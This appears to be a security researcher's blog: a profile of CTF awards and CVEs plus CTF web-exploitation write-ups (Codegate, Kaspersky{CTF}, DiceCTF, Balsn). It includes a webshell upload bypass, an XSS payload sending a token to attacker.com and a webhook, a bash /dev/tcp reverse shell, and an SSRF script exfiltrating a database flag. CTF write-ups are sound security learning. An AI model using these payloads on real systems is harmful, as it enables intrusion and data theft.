i love cat

about

as3617 — Mon, 1 Sep 2025 09:52:27 +0900

Profile

Name : 오승주 (as3617)

Education :

KAIST (Undergraduated) - 2023.02 ~
Korea Digital Media High School (Graduated) - 2019.03 ~ 2022.02

Team : Defenit / CodeRed / Super Guesser

Awards

2019

2019, Hacking Championship Junior Quals 1st
2019, Cyberoc Quals 4rd
2019, Hacking Championship Junior FInals 4th

2020

2020, Cyberoc Quals 3rd
2020, Cyberoc Finals 3rd
2020, HackTM Finals 2nd (Team ROK YoungBloods)

2021

2021, Just CTF 1st (Team Alpray)
2021, Defcon CTF Quals 16th (Team uuunderflow)
2021, Defcon CTF 2021 Finals 6th (Team Perfect Guesser)
2021, Pwn2Win CTF 2nd (Team uuunderflow)
2021, FAUST CTF 2021 4th (Team P-U-G)
2021, Hack.lu CTF 2nd (Team Super Guesser)
2021, HKCERT CTF 2021 3rd (Team Super Guesser)
2021, N1CTF 2021 1st (Team Super Guesser)
2021, Dragon CTF 2021 5th (Team Super Guesser)
2021, HITCON CTF 2021 6th (Team Super Guesser)
2021, SECCON CTF 2021 1st (Team Super Guesser)
2021, hxp CTF 2021 3rd (Team Super Guesser)
2021, ASIS CTF Finals 2021 4th (Team Super Guesser)
2021, ISITDTU CTF 2021 Finals 4th (Team Do you know BTS)

2022

2022, Real World CTF 9th (Team .gz)
2022, Dice CTF 2022 4th (Team Super Guesser)
2022, Hayyim CTF 2022 3rd (Team 초코하임팬클럽)
2022, 1337UP LIVE CTF 3rd (Team Alpray)
2022, zer0pts CTF 2022 2nd (Team Super HexaGoN)
2022, LINE CTF 2022 3rd (Team donkey)
2022, *CTF 2022 3rd (Team DiceGuesser)
2022, DEFCON 30 CTF Finalist (Team DiceGuesser)
2022, Security Fest 2022 2nd (Team Super Guesser)
2022, justCTF 2022 4th (Team Super Guesser)
2022, SECCON CTF 2022 Quals 5th (Team Super Guesser)

2023

2023, LINE CTF 2023 3rd (Team Super Guesser)
2023, Security Fest 2023 1st (Team Super Guesser)
2023, DEFCON 31 CTF Quals 12th (Team Hypeboy)
2023, DEFCON 31 CTF Finals 4th (Team Hypeboy)
2023, HITCON CTF 2023 Quals 4th (Team Super Guesser)
2023, SECCON CTF 2023 Quals 5th (Team HK Guesser)

2024

2024, Plaid CTF 2024 1st (Team Hypeboy)
2024, DEFCON 32 CTF Finals 8th (Team Hypeboy)

2025

2025, Kaspersky{CTF} 1st (Team Odin)
2025, LINE CTF 2025 3rd (Team Odin)

Organized

2020, TRUST CTF
2021, TRUST CTF
2022, WaCON 2022
2022, FIESTA 2022
2022, Cyber Conflict Exercise 2022 - aka 사이버공격방어대회
2023, Cyber Conflict Exercise 2023 - aka 사이버공격방어대회
2023, Codegate CTF 2023
2023, FIESTA 2023
2023, WaCON 2023
2024, Codegate CTF 2024
2024, Cyber Conflict Exercise 2024 - aka 사이버공격방어대회
2025, Codegate CTF 2025

CVE

CVE-2022-25108 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25108)
CVE-2022-1498 (https://chromereleases.googleblog.com/2022/04/stable-channel-update-for-desktop_26.html)
CVE-2022-37376 | ZDI-CAN-16599 (https://www.foxit.com/support/security-bulletins.html)
CVE-2022-32891 (https://support.apple.com/ko-kr/HT213442)
CVE-2022-31628 (https://bugs.php.net/bug.php?id=81726)
CVE-2024-28117 (https://github.com/getgrav/grav/security/advisories/GHSA-qfv4-q44r-g7rv)
CVE-2024-28118 (https://github.com/getgrav/grav/security/advisories/GHSA-r6vw-8v8r-pmp4)
CVE-2024-28119 (https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58)

Contact

email - ohseungju5@gmail.com
twitter - twitter

Codegate 2024 quals - Cha's Wall writeup

as3617 — Mon, 1 Sep 2025 09:50:29 +0900

go multipart parser와 php의 multipart parser의 서로 다른 구현을 악용하여 waf를 우회, 이후 CVE-2022-31628를 이용하여 dos를 발생시켜 웹쉘을 업로드하고
RCE를 하면 되는 문제이다.

if r.Method == "POST" {
      mr, err := r.MultipartReader()
      if err != nil {
          r.Body.Close()
          fmt.Println("Http request is corrupted.")
          return
      } else {
          var b bytes.Buffer
          w := multipart.NewWriter(&b)
          reuseBody := true

          for {
              part, err := mr.NextPart()
              if err == io.EOF {
                  break
              }
              if err != nil {
                  r.Body.Close()
                  wr.Write([]byte("something wrong :("))
                  return
              }
              if part.FileName() != "" {
                  re := regexp.MustCompile(`[^a-zA-Z0-9\.]+`)
                  cleanFilename := re.ReplaceAllString(part.FileName(), "")
                  match, _ := regexp.MatchString(`\.(php|php2|php3|php4|php5|php6|php7|phps|pht|phtm|phtml|pgif|shtml|htaccess|inc|hphp|ctp|module|phar)$`, cleanFilename)
                  if match {
                      r.Body.Close()
                      wr.Write([]byte("WAF XD"))
                      return
                  }
                  partBuffer, _ := ioutil.ReadAll(part);
                  if strings.Contains(string(partBuffer), "<?php") {
                      r.Body.Close()
                      wr.Write([]byte("WAF XD"))
                      return
                  }
              } else {
                  fieldName := part.FormName()
                  fieldValue, _ := ioutil.ReadAll(part)
                  _ = w.WriteField(fieldName, string(fieldValue))
                  reuseBody = false
              }
          }

          if !reuseBody {
              w.Close()
              rdr2 = ioutil.NopCloser(&b)
              r.Header.Set("Content-Type", w.FormDataContentType())
          }
      }
  }

part.FileName() 값은 업로드되는 파일명을 반환하는 메소드이다.
빈 값이 아닌 경우, filename에서 [a-zA-Z0-9.]을 제외한 다른 문자들을 제거한 뒤 정규식으로 위험한 확장자가 포함되어있는지 검증하고 있다.

일반적인 경우 이는 우회할 수 없지만, PHP와 go의 multipart data에 대한 처리 로직이 다른 것을 이용하여 우회하는 것이 가능하다.

func (p *Part) FileName() string {
    if p.dispositionParams == nil {
        p.parseContentDisposition()
    }
    filename := p.dispositionParams["filename"]
    if filename == "" {
        return ""
    }
    // RFC 7578, Section 4.2 requires that if a filename is provided, the
    // directory path information must not be used.
    return filepath.Base(filename)
}

func (p *Part) parseContentDisposition() {
    v := p.Header.Get("Content-Disposition")
    var err error
    p.disposition, p.dispositionParams, err = mime.ParseMediaType(v)
    if err != nil {
        p.dispositionParams = emptyParams
    }
}

part.FileName을 호출하면 go는 내부적으로 parseContentDisposition 함수를 호출하여 filename을 파싱한다.
이때 parseContentDisposition에선 mime.ParseMediaType을 호출하는데 이 함수가 실질적으로 multipart data section을 처리하는 부분이다.

// https://github.com/golang/go/blob/master/src/mime/mediatype.go#L139
func ParseMediaType(v string) (mediatype string, params map[string]string, err error) {
    base, _, _ := strings.Cut(v, ";")
    mediatype = strings.TrimSpace(strings.ToLower(base))

    err = checkMediaTypeDisposition(mediatype)
    if err != nil {
        return "", nil, err
    }

    params = make(map[string]string)

    // Map of base parameter name -> parameter name -> value
    // for parameters containing a '*' character.
    // Lazily initialized.
    var continuation map[string]map[string]string

    v = v[len(base):]
    for len(v) > 0 {
        v = strings.TrimLeftFunc(v, unicode.IsSpace)
        if len(v) == 0 {
            break
        }
        key, value, rest := consumeMediaParam(v)
        if key == "" {
            if strings.TrimSpace(rest) == ";" {
                // Ignore trailing semicolons.
                // Not an error.
                break
            }
            // Parse error.
            return mediatype, nil, ErrInvalidMediaParameter
        }

        pmap := params
        if baseName, _, ok := strings.Cut(key, "*"); ok {
            if continuation == nil {
                continuation = make(map[string]map[string]string)
            }
            var ok bool
            if pmap, ok = continuation[baseName]; !ok {
                continuation[baseName] = make(map[string]string)
                pmap = continuation[baseName]
            }
        }
        if v, exists := pmap[key]; exists && v != value {
            // Duplicate parameter names are incorrect, but we allow them if they are equal.
            return "", nil, errors.New("mime: duplicate parameter name")
        }
        pmap[key] = value
        v = rest
    }
...

우선 go는 파라미터를 파싱할 때 같은 key에 대해 다른 값이 여러 개 들어온다면 에러를 발생시킨다.
에러가 발생하면 해당 변수는 빈 값으로 설정되기 때문에
이중 파라미터와 같은 고전적인 우회 방법은 사용할 수 없다.

하지만 코드를 잘 읽어보면

        if baseName, _, ok := strings.Cut(key, "*"); ok {
            if continuation == nil {
                continuation = make(map[string]map[string]string)
            }
            var ok bool
            if pmap, ok = continuation[baseName]; !ok {
                continuation[baseName] = make(map[string]string)
                pmap = continuation[baseName]
            }
        }
...
for key, pieceMap := range continuation {
        singlePartKey := key + "*"
        if v, ok := pieceMap[singlePartKey]; ok {
            if decv, ok := decode2231Enc(v); ok {
                params[key] = decv
            }
            continue
        }

        buf.Reset()
        valid := false
...

key에 *가 포함된 경우 continuation 변수에 해당 Key와 value를 저장한 후 아래에서 이를 기반으로 decode2231Enc 함수를 호출한다.
그러나 이땐 파라미터 중복 여부를 확인하지 않는다.
즉, 이 부분을 활용하면 php에선 rfc 2231을 지원하지 않으므로 go와 php에서 인식하는 파일명을 다르게 할 수 있다.

------WebKitFormBoundaryUUIxMBvMMAgZLeFi
Content-Disposition: form-data; name="file"; filename="exploit.php" filename*=utf-8''exampe.txt
Content-Type: application/x-gzip

dummydata
------WebKitFormBoundaryUUIxMBvMMAgZLeFi--

rfc 스펙과 go의 처리 코드를 기반으로 페이로드를 구성하면 위와 같다.
해당 데이터를 서버로 전송할 시 waf를 우회하여 php를 확장자로 가진 파일을 업로드할 수 있다.

<?php
    require_once("./config.php");
    session_start();

    if (!isset($_SESSION['dir'])) {
        $_SESSION['dir'] = random_bytes(4);
    }

    $SANDBOX = getcwd() . "/uploads/" . md5("supers@f3salt!!!!@#$" . $_SESSION['dir']);
    if (!file_exists($SANDBOX)) {
        mkdir($SANDBOX);
    }

    echo "Here is your current directory : " . $SANDBOX . "<br>";

    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        $filename = basename($_FILES['file']['name']);
        if (move_uploaded_file( $_FILES['file']['tmp_name'], "$SANDBOX/" . $filename)) {
            echo "<script>alert('File upload success!');</script>";
        }
    }
    if (isset($_GET['path'])) {
        if (file_exists($_GET['path'])) {
            echo "file exists<br><code>";
            if ($_SESSION['admin'] == 1 && $_GET['passcode'] === SECRET_CODE) {
                include($_GET['path']);
            }
            echo "</code>";
        } else {
            echo "file doesn't exist";
        }
    }
    if (isset($filename)) {
        unlink("$SANDBOX/" . $filename);
    }
?>

코드는 위와 같이 작성되어있다.
파일을 업로드하면 랜덤한 임의의 디렉토리에 파일을 업로드한다. 이후 path로 전달된 파일 경로에 대해서 file_exists함수가 true를 리턴하면
세션의 admin값과 $_GET['passcode']를 체크하고 include해주며 코드의 마지막에서 unlink함수를 통해 업로드한 파일을 삭제한다.
여기서 include 부분은 그냥 낚시용이니깐 무시해야한다. 저 부분은 사용이 불가능하다.
그럼 우리가 할 수 있는건 unlink되기 전 웹쉘에 접근하거나 unlink 코드가 실행되지 않도록 하는 것이다.
여기선 여러 방식으로 사용하면 되며 출제할 땐 아래의 방법을 썼다.

FROM php:7.4.30-apache-bullseye

https://pentest-tools.com/vulnerabilities-exploits/php-7431-80x-8024-81x-8111-security-update-windows_13209
php 버전이 7.4.30인데 해당 버전엔 여러 CVE가 존재한다.

CVE-2022-31628: The phar uncompressor code would recursively uncompress quines gzip files, resulting in an infinite loop.

quine gzip을 이용하면 무한 반복을 통해 dos를 유발시킬 수 있다고 한다.
https://bugs.php.net/bug.php?id=81726

file_exists에서도 phar wrapper를 사용하는 것이 가능하기 때문에 이를 이용하면 dos를 발생시켜 unlink되기 전 웹쉘에 접근하는 것이 가능해진다.
이때 php의 gz decompress 로직은 dummy data가 있어도 에러를 발생시키지 않기 때문에
quine gzip 파일을 다운로드한 후 맨 뒤에 webshell 데이터를 삽입하여 업로드해주면 된다.

이외에는 file_exists 함수가 실행되는 부분에서 사용가능한 scheme들을 통해 PHP 코드가 종료되지 않도록 하면 된다. (http, ftp 등등..)

플래그

codegate2024{caaff9a2603c3225626f1569a0d371d7d2c354177f48bd303aa9a5297f40d55b}

Codegate 2025 quals - Cha's point writeup

as3617 — Mon, 1 Sep 2025 09:47:11 +0900

markdown을 이용한 ppt 제작 기능을 지원하는 서비스다.

주어진 파일의 app.js에서 Global filter, routing을 확인할 수 있다.

app.use((req, res, next) => {
    if (req.session.userid || req.path.startsWith("/auth/")) return next();
    return res.redirect("/auth/login");
});

app.use((req, res, next) => {
    if (req.method === "POST") {
        for (const key in req.body) {
            if (req.body[key] && typeof req.body[key] !== "string") {
                return res.status(401).send("Invalid Data");
            }
            if (FILTER.exec(req.body[key])) { // FILTER : /\'|`|\.\.|\.\/|#|%|&|\?|<|>|\(|\)|script|onerror|src|\n/i;
                req.body[key] = encode(req.body[key], { mode: "extensive" });
            }
        }
    }
    next();
});

app.use("/auth", auth);
app.use(["/view", "/_assets", "/css/highlight"], view);
app.use(edit);

POST data에 대해 정규식에 해당되는 값이 포함되어있으면 html-entities 라이브러리를 이용하여 html entity 형태로 인코딩하는 필터가 존재하며
그 외엔 /auth, /view, /_assets, /css/highlight, /edit/* 등 요청에 대해 각각 routes/auth.js, routes/view.js, routes/edit.js로 매핑하고 있다.

router.get("/render", async (req, res) => {
    try {
        const userId = req.session.userid;
        const configPath = path.join(UPLOAD_DIR, userId, "config", "config.md");

        if (!fs.existsSync(configPath)) {
            return res.redirect("/");
        }

        const slidePath = path.join(UPLOAD_DIR, userId, "slide", "default.md");
        const useTemplate = !fs.existsSync(slidePath);

        const configData = fs.readFileSync(configPath, "utf8").toString();
        let data = configData;
        if (useTemplate) {
            data += default_template;
        } else {
            data += fs.readFileSync(slidePath, "utf8").toString();
        }

        const { render } = await getRevealMd();
        const rendered = await render(data);
        return res.send(rendered);
    } catch {
        return res.status(500).send("Error");
    }
})

위의 함수는 routes/view.js에 정의된 함수로 /view/render 로 접근할 시 실행된다.
해당 함수에선 session에 정의된 userid 값을 값을 바탕으로 config.md, default.md 파일의 데이터를 읽어온 다음 revealMd 라이브러리의 render 함수를 이용하여 해당 데이터를 변환, 사용자에게 전달하고 있다.

해당 문제는 RCE를 획득하는 것이 목표이기 때문에 revealMD 라이브러리에서 취약점을 찾아 공격해야한다.

reveal-md

export const render = async (fullMarkdown, extraOptions = {}) => {
  const { yamlOptions, markdown: contentOnlyMarkdown } = parseYamlFrontMatter(fullMarkdown);
  const options = Object.assign(getSlideOptions(yamlOptions), extraOptions);

  const { title } = options;
  const themeUrl = getThemeUrl(options.theme, options.assetsDir, options.base);
  const highlightThemeUrl = getHighlightThemeUrl(options.highlightTheme);
  const scriptPaths = getScriptPaths(options.scripts, options.assetsDir, options.base);
  const cssPaths = getCssPaths(options.css, options.assetsDir, options.base);

  const revealOptions = Object.assign({}, getRevealOptions(options.revealOptions), yamlOptions.revealOptions);

  const slidifyOptions = _.pick(options, Object.keys(slidifyAttributeNames));
  let slidifyAttributes = [];
  for (const [key, value] of Object.entries(slidifyOptions)) {
    const escaped_value = value.replace(/\n/g, '\\n').replace(/\r/g, '\\r');
    slidifyAttributes.push(`${slidifyAttributeNames[key]}="${escaped_value}"`);
  }

  const preprocessorFn = await getPreprocessor(options.preprocessor);
  const processedMarkdown = await preprocessorFn(contentOnlyMarkdown, options);

  const revealOptionsStr = JSON.stringify(revealOptions);
  const mermaidOptionsStr = options.mermaid === false ? undefined : JSON.stringify(options.mermaid);

  const template = await getTemplate(options.template);
  const context = Object.assign(options, {
    title,
    slidifyAttributes: slidifyAttributes.join(' '),
    markdown: processedMarkdown,
    themeUrl,
    highlightThemeUrl,
    scriptPaths,
    cssPaths,
    revealOptionsStr,
    mermaidOptionsStr,
    watch: getWatch()
  });
  const markup = Mustache.render(template, context);

  return markup;
};

위의 코드는 reveal-md 라이브러리에 정의된 render 함수로 인자로 markdown 데이터, option 데이터를 받아 처리한 다음, Mustache template을 이용하여 데이터를 변환한다.
이때 parseYamlFrontMatter 함수를 이용하여 markdown 데이터에서 yaml 관련 옵션을 추출하는 것을 알 수 있는데 해당 함수는 다음과 같다.

export const parseYamlFrontMatter = content => {
  const document = yamlFrontMatter.loadFront(content.replace(/^\uFEFF/, ''));
  return {
    yamlOptions: _.omit(document, '__content'),
    markdown: document.__content || content
  };
};

parseYamlFrontMatter함수는 데이터를 다시 yamlFrontMatter 라이브러리의 loadFront 함수에 전달하여 yaml 데이터를 파싱한다.
reveal-md에서 사용하는 js-yaml-fromt-matter 라이브러리의 버전은 4.1.1로 정의된 loadFront 함수는 코드는 다음과 같다.

var jsYaml = require('js-yaml');

function parse(text, options, loadSafe) {
    let contentKeyName = options && typeof options === 'string'
        ? options
        : options && options.contentKeyName 
            ? options.contentKeyName 
            : '__content';

    let passThroughOptions = options && typeof options === 'object'
        ? options
        : undefined;

    let re = /^(-{3}(?:\n|\r)([\w\W]+?)(?:\n|\r)-{3})?([\w\W]*)*/
        , results = re.exec(text)
        , conf = {}
        , yamlOrJson;

    if ((yamlOrJson = results[2])) {
        if (yamlOrJson.charAt(0) === '{') {
            conf = JSON.parse(yamlOrJson);
        } else {
            if(loadSafe) {
                conf = jsYaml.safeLoad(yamlOrJson, passThroughOptions);
            } else {
                conf = jsYaml.load(yamlOrJson, passThroughOptions); 
            }
        }
    }

    conf[contentKeyName] = results[3] || '';

    return conf;
};

export function loadFront (content, options) {
    return parse(content, options, false);
};

export function safeLoadFront (content, options) {
    return parse(content, options, true)
}

loadFront 함수는 loadSafe값을 false로 하여 parse 함수를 호출한다.

---
test
---

이때 위의 마크다운 형식의 데이터에서 test 자리에 들어가는 값을 추출, 이후 jsYaml.load 함수로 전달하게 된다.
이 jsYaml.load 함수는 js-yaml:3.14.1에 정의된 함수로 최신버전과 달리 js-yaml3에선 Yaml 형식 데이터를 이용한 함수 생성이 가능하여 이를 기반으로 임의 코드 실행을 획득, 플래그를 읽으면 된다.

그러나 3.14.1 이전 버전에선 함수명을 toString으로 하여 코드 실행을 얻을 수 있었지만, 그 이후부턴 패치되어 불가능하다.
그래서 우린 다른 방식으로 함수를 실행해야하며 이는 reveal-md 라이브러리의 render 함수 내 코드를 활용하여 달성할 수 있다.

export const render = async (fullMarkdown, extraOptions = {}) => {
  const { yamlOptions, markdown: contentOnlyMarkdown } = parseYamlFrontMatter(fullMarkdown);
  const options = Object.assign(getSlideOptions(yamlOptions), extraOptions);
...
  const revealOptionsStr = JSON.stringify(revealOptions);
...
};

이미 우린 yaml 파싱 기능을 활용하여 임의의 함수를 생성하는 것이 가능한데, JSON.stringify 함수로 전달된 객체에 toJSON이라는 key가 존재하며 해당 key의 값이 함수일 경우
이를 실행해주는 것을 이용하면 toString을 덮지 않고도 코드 실행을 획득할 수 있다. (이외에도 Object.entries 사용가능)

위의 취약점을 활용하기 위해선 config.md의 데이터를 조작할 수 있어야한다. 이는 edit.js에 정의된 기능들을 활용하면 가능하다.

router.post("/edit/add/config", (req, res) => {
    const { title, theme, highlightTheme } = req.body;
    if (typeof title !== "string" || typeof theme !== "string" || typeof highlightTheme !== "string") {
        return res.json({ status: "error" });
    }
    return res.json({ status: set_config(req.session.userid, title, theme, highlightTheme) ? "success" : "error" });
});

/edit/add/config로 전달된 post 요청에 대해, title, theme, highlightTheme 파라미터를 받아 set_config 함수로 전달한다. 이 함수는 utils/utils.js에 정의되어있다.

const TEMPLATE = `---
title: "{TITLE}"
theme: {THEME}
highlightTheme: {HIGHLIGHT}
---`;

const encode = (text) => {
    try {
        return encodeURI(text.replace(/"/g, ""));
    } catch {
        return text;
    }
};

const set_config = (uuid, title, theme, highlightTheme) => {
    const userDir = path.join(UPLOAD_DIR, uuid);
    const requiredFolders = ["config", "slide"];
    if (!fs.existsSync(userDir)) {
        fs.mkdirSync(userDir, { recursive: true });
    }
    requiredFolders.forEach((folder) => {
        const folderPath = path.join(userDir, folder);
        if (!fs.existsSync(folderPath)) {
            fs.mkdirSync(folderPath);
        }
    });
    const configPath = path.join(userDir, "config", "config.md");
    try {
        const content = TEMPLATE.replace("{TITLE}", encode(title))
            .replace("{THEME}", encode(theme))
            .replace("{HIGHLIGHT}", encode(highlightTheme));
        fs.writeFileSync(configPath, content);
    } catch {}
    return fs.existsSync(configPath);
};

전달받은 데이터를 encodeURI 함수를 이용하여 url 인코딩 후 config.md에 작성한다.
취약점을 공격하기 위해선 임의의 속성을 추가해야하기 때문에 개행문자 및 특수문자를 사용해야하지만 encode 함수로 인해 불가능한 상황이다.
그렇기에 encodeURI에서 에러를 발생시켜 인코딩되지 않은 데이터가 그대로 반환되게 하여 이를 우회하면 된다.

또한 app.js에 정의된 필터로 인해 \n을 사용하는 것이 불가능하지만 js-yaml의 코드를 분석해보면 readLineBreak 0x0d 또한 0x0a와 동일하게 사용 가능하기 때문에 이를 활용하면 된다.

이후 위의 분석을 토대로 exploit을 작성, 설정파일에 데이터를 삽입한 뒤 /view/render에 접속하면 쉘을 획득할 수 있다.

플래그

codegate2025{97e237e450c9b45b57bb2a1030ff6ec4d186077c178de0cb451633638f4e7a37}

Kaspersky{CTF} - Bubble: rerevenge, Peach Investor writeup

as3617 — Mon, 1 Sep 2025 09:42:44 +0900

Bubble: ReRevenge

Vulnerability

Client Side Path Traversal

e and t are controlled by Path parameters.

As shown in the picture above, we can manipulate the api requested path using path traversal.

Self XSS

When writing a post, self-xss occurs in the preview function.

Chainning

Admin bot works as follows.

Register
add post with flag
visit post
write comment with post's author name
back to dashboard, and write new post

In 4th steps, Client Side Path traversal vulnability also occurs.

So we can save draft with our username.

At this time, if our username contains XSS payloads, we can get xss when admin bot perform course 5.

Payload

Change username to below payloadsaf.js -> navigator.sendBeacon("https://webhook",localStorage.getItem("DiarrheaTokenBearerInLocalStorageForSecureRequestsContactAdminHeKnowsHotToUseWeHaveManyTokensHereSoThisOneShouldBeUnique"))
@[youtube srcdoc=<script/src=//attacker.com/af.js></script>]
report url
https://bubble-tea-rerevenge.task.sasc.tf/post/USER_UUID/posts/506%2f.%09.%2f.%09.%2f.%09.%2f.%09.%2f.%09.%2f.%09.%2f.%09.%2fapi%2fdrafts%2fsave%23
get flag using admin session token

FLAG : kaspersky{6ruh_6um6l3_1s_n0_m0r3}

Peach Investor

Vulnerability

File upload vuln

We can upload any file without restriction.
And, no validation exists for source parameter, we can upload files to any location by directory traversal.

Exploit

In docker container, I saw that the celery scheduler import a strange module (billiard).
We can use this to get shell.

If we create a directory called billiard, and upload __init__py with a reverse shell in it, our code will run when the scheduler executed.

Payload

POST /upload?source=../billiard HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en,ko;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 269
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBB3U3Fw3boGnqJKQ
Host: 409fe342-33f9-4f27-b317-398f174974ee.kit.sasc.tf
Origin: http://localhost:8000
Pragma: no-cache
Referer: http://localhost:8000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
sec-ch-ua: "Not;A=Brand";v="99", "Google Chrome";v="139", "Chromium";v="139"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

------WebKitFormBoundaryBB3U3Fw3boGnqJKQ
Content-Disposition: form-data; name="file"; filename="__init__.py"
Content-Type: application/json

import os
os.system("/bin/bash -c 'bash -i > /dev/tcp/IP/1234 0>&1'")
------WebKitFormBoundaryBB3U3Fw3boGnqJKQ--

FLAG: kaspersky{p41d_w17h_c4sh_4nd_3nd3d_up_s0_s35h}

DiceCTF 2023 - unfinished

as3617 — Mon, 6 Feb 2023 17:07:57 +0900

오랜만에 ctf 뛰었는데 재밌게 풀었다.

const crypto = require("crypto");

const app = db.getSiblingDB('app');
app.users.insertOne({ user: crypto.randomBytes(8).toString("hex"), pass: crypto.randomBytes(64).toString("hex") });

const secret = db.getSiblingDB('secret');
secret.flag.insertOne({ flag: process.env.FLAG || "dice{test_flag}" });

nodejs로 구현된 웹서버인데 flag는 다른 컨테이너에서 돌아가고 있는 mongodb에 있다.

app.post("/api/login", async (req, res) => {
    let { user, pass } = req.body;
    if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
        return res.redirect("/?error=Missing username or password");
    }

    const users = client.db("app").collection("users");
    if (await users.findOne({ user, pass })) {
        req.session.user = user;
        return res.redirect("/");
    }
    res.redirect("/?error=Invalid username or password");
});

app.post("/api/ping", requiresLogin, (req, res) => {
    let { url } = req.body;
    if (!url || typeof url !== "string") {
        return res.json({ success: false, message: "Invalid URL" });
    }

    try {
        let parsed = new URL(url);
        if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt && data && typeof opt === "string" && typeof data === "string") {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: "Invalid option" });
        }

        // if -d option or if GET / POST switch
        if (opt === "-d" || ["GET", "POST"].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});

서버에 정의된 router는 2개가 있는데 /api/ping을 사용하기 위해선 login이 필요한 것을 알 수 있다.
하지만 register 기능이 없기 때문에 auth bypass를 하거나 취약점을 통해 로그인 시도를 해야한다.

if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
        return res.redirect("/?error=Missing username or password");
    }

    const users = client.db("app").collection("users");
    if (await users.findOne({ user, pass })) {
        req.session.user = user;
        return res.redirect("/");
    }

login 부분을 확인해보면 users.findOne함수를 사용할 때 취약하게 사용하고 있는 것을 확인할 수 있다.
하지만 위에서 전달되는 파라미터에 대해 string 체크를 진행하고 있어서 nosql injection 공격은 불가능하다.

const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=You need to be logged in");
    }
    next();
};

그럼 우린 login 기능을 우회해야하는데 requiresLogin 함수를 보면 이상한 부분을 찾을 수 있다.
세션이 존재하지 않으면 res.redirect를 통해 메인페이지로 리다이렉트시키는데 return이 존재하지 않아서 그대로 next 함수가 실행되게 되고
우린 /api/ping 기능을 사용할 수 있게 된다.

app.post("/api/ping", requiresLogin, (req, res) => {
    let { url } = req.body;
    if (!url || typeof url !== "string") {
        return res.json({ success: false, message: "Invalid URL" });
    }

    try {
        let parsed = new URL(url);
        if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt && data && typeof opt === "string" && typeof data === "string") {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: "Invalid option" });
        }

        // if -d option or if GET / POST switch
        if (opt === "-d" || ["GET", "POST"].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});

/api/ping 기능을 분석해보면 curl을 통해 임의의 url로 요청을 보내는 것을 확인할 수 있다. url은 무조건 http,https로 시작해야하며 응답을 확인할 수는 없지만 curl로 전달되는 인자 값을 컨트롤하는 것이 가능하다.

그럼 임의의 파일을 서버에 다운로드 시킨 다음 -K 옵션을 통해 curl 설정파일을 불러온다면 추가적으로 인자를 전달하며 http url외에도 gopher 프로토콜을 사용하거나 내 서버로 파일을 업로드하는 등 더욱 다양한 동작이 가능할 것이다.

RUN ./configure --prefix=/build \
      --disable-shared --enable-static --with-openssl \
      --disable-gopher && \
    make && \
    make install

하지만 도커파일에서 curl을 빌드할 때 gopher 프로토콜을 disable한 것을 확인할 수 있다. 하지만 telnet 프로토콜은 사용이 가능하므로 telnet을 이용하여 exploit을 진행하였다.

telnet을 통해 mongodb와 통신을 해야하기에 mongodb에서 사용하는 wire packet에 대해 분석을 진행하였는데
mongodb client에서 server와 통신할 때 query request외에도 추가적인 요청이 발생하지만 이는 query request에 영향을 주지 않는 별개의 request이며 query request 단독으로 전송되어도 정상적으로 조회한 data를 확인할 수 있다는 것을 알아내었고 이를 토대로 exploit을 작성하였다.

import requests
import time
## download curl config file
url = "https://unfinished-d4b0a20a2b6d8605.mc.ax/api/ping"
requests.post(url,data={"url":"https://ssrf.kr/GET","opt":"-O","data":"GET"})
#time.sleep(1)
## download packet file
requests.post(url,data={"url":"https://ssrf.kr/getflagdata","opt":"-O","data":"GET"})
#time.sleep(1)
## execute curl with config file
requests.post(url,data={"url":"https://ssrf.kr/","opt":"-K","data":"GET"})
time.sleep(2)

## get flag
requests.post(url,data={"url":"https://enllwt2ugqrt.x.pipedream.net/","opt":"-T","data":"POST"})

upload-file=getflagdata
output=asdf
url="telnet://mongodb:27017"
upload-file=getflagdata
output=POST
max-time=1

서버에서 curl 바이너리를 실행할 때 timeout 때문에 exploit이 잘 안되는데 몇 번 시도하다보면 flag를 획득할 수 있다.

Balsn CTF 2022 2linenodejs writeup

as3617 — Wed, 7 Sep 2022 00:23:56 +0900

first blood.

#!/usr/local/bin/node
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
  try{
    console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
    const json = process.stdin.read().match(/\?(.*?)\ /)?.[1];
    console.log(json)
    obj = JSON.parse(json);
    console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
  }catch(error){
    require('./usage')
  }finally{
    process.exit();
  }
});

문제 코드는 위와 같다.
취약점은 require('./index')(obj, {})에서 발생하는데 index.js의 코드는 아래와 같다.

module.exports=(O,o) => (Object.entries(O).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))), o);

